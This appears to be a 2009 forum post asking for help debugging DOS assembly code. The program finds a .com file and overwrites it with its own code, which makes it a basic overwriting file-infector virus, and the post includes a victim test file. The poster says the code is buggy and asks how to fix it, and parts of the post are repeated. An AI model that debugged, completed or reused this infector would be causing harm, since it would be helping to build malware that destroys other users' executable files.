hello
February 15th, 2009, 06:09
There are 2 files hello.exe and a second one named victim.com. The former, when run is supposed to searchFirst, locate a .com file, open it and overwrite it. But, proceedings don’t move in that anticipated course..There must be some bugs exist in code.. Error trapping ?? ..
i was not able to pin down the source of error. The code for first one is as:
May I look forward to some useful information pertinent to the situation?
Thank you.
i was not able to pin down the source of error. The code for first one is as:
Code:
; hello.exe
hello segment
assume cs:hello,ds:hello
org 100h
startt proc near
;SRH
mov ah,4Eh
mov cx,0h
mov dx,offset fileType
int 21h
;OPN
mov ax,3D01h
mov dx,9Eh ; how to view DTA ??
int 21h
;WRT
xchg bx,ax ; handle saved in register
mov ah,40h
mov cx,offset endd-offset startt
mov dx,offset startt
int 21h
;CLS
mov ah,3Eh
int 21h
;back
mov ax,4c00h
int 21h
;
startt endp
fileType db "*.com",0
;
endd label near
;
hello ends
end startt
- - - - - - - - -
And the second one is:
;victim.com
.model tiny
.code
org 100h
;
start:
mov dx,offset comfile
mov ah,9h
int 21h
;
mov ax,4c00h
int 21h
comfile db " iam a still living .com $"
end start
May I look forward to some useful information pertinent to the situation?
Thank you.